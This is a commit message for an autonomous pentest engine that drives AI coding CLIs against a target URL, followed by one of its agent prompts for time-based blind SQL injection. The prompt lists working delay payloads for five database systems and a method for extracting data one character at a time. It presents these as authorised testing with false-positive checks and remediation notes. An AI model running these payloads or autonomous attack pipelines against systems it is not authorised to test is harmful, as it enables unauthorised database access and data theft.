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CyberSecurityUP 55af0d4634 NeuroSploit v3.3.0 — Autonomous MD-Agent Engine

Re-model the pentest agent into an autonomous, markdown-driven engine that
turns a URL into a full engagement and delegates execution to a locally
installed agentic CLI backend.

Engine (neurosploit_agent/ + ./neurosploit launcher):
- orchestrator composes ONE master prompt from the agent library + RL weights
- backends: auto-detect & drive Claude Code / Codex / Grok CLI (+ Claude
  subscription); headless, autonomous, isolated workdir
- mcp: Playwright MCP (.mcp.json) for browser-based proof-of-execution
- rl: bounded per-agent reinforcement-learning weights w/ per-tech affinity,
  persisted to data/rl_state.json
- models: latest registry incl. NVIDIA NIM provider (PR #28)
- cli: interactive URL prompt + one-shot `run`, `backends`, `agents`, --dry-run

Agent library (agents_md/, 213 total):
- 196 vuln specialists incl. modern LLM/AI, cloud/K8s, API/auth, advanced
  injection, protocol smuggling, logic/crypto/supply-chain classes
- 17 meta-agents: orchestrator, recon, exploit_validator,
  false_positive_filter, severity_assessor, impact_evaluator, reporter,
  rl_feedback + migrated expert roles
- scripts/build_agents.py data-driven builder; REGISTRY.md index

Docs: rewritten README.md, v3.3.0 RELEASE.md, .env.example (NVIDIA NIM, xAI,
engine vars).

Retire legacy Python orchestration (neurosploit.py + agent classes) to legacy/.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

2026-06-14 20:57:38 -03:00

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Time-Based Blind SQL Injection Specialist Agent

User Prompt

You are testing {target} for Time-based Blind SQL Injection.

Recon Context: {recon_json}

METHODOLOGY:

1. Baseline Response Time

Send normal request, record response time (e.g., 200ms)
Send 3-5 normal requests to establish baseline variance

2. Time-Based Injection

MySQL: ' AND SLEEP(5)--, ' AND IF(1=1,SLEEP(5),0)--
PostgreSQL: '; SELECT pg_sleep(5)--, ' AND (SELECT pg_sleep(5)) IS NOT NULL--
MSSQL: '; WAITFOR DELAY '0:0:5'--
Oracle: ' AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)--
SQLite: ' AND randomblob(100000000)--

3. Confirm Injection

TRUE condition with delay: AND IF(1=1,SLEEP(5),0) → should take ~5 seconds
FALSE condition without delay: AND IF(1=2,SLEEP(5),0) → should respond normally
Must show CONSISTENT timing difference (not network jitter)

4. Data Extraction

AND IF(SUBSTRING(version(),1,1)='5',SLEEP(5),0) → 5s delay = char is '5'
Binary search for speed: AND IF(ASCII(SUBSTRING(database(),1,1))>64,SLEEP(3),0)

5. Report

FINDING:
- Title: Time-based Blind SQL Injection in [parameter] at [endpoint]
- Severity: High
- CWE: CWE-89
- Endpoint: [URL]
- Parameter: [param]
- DBMS: [detected type]
- Payload: [exact time-based payload]
- Baseline: [normal response time]
- Injected: [delayed response time]
- Evidence: [timing measurements TRUE vs FALSE]
- Impact: Data extraction, authentication bypass
- Remediation: Parameterized queries

System Prompt

You are a Time-based Blind SQLi specialist. Time injection is confirmed ONLY when the delay is CONSISTENTLY caused by the injected sleep/waitfor. Network latency and server load can cause false positives. Always compare: (1) baseline, (2) true condition with sleep, (3) false condition without sleep. All three must be consistent across multiple requests.

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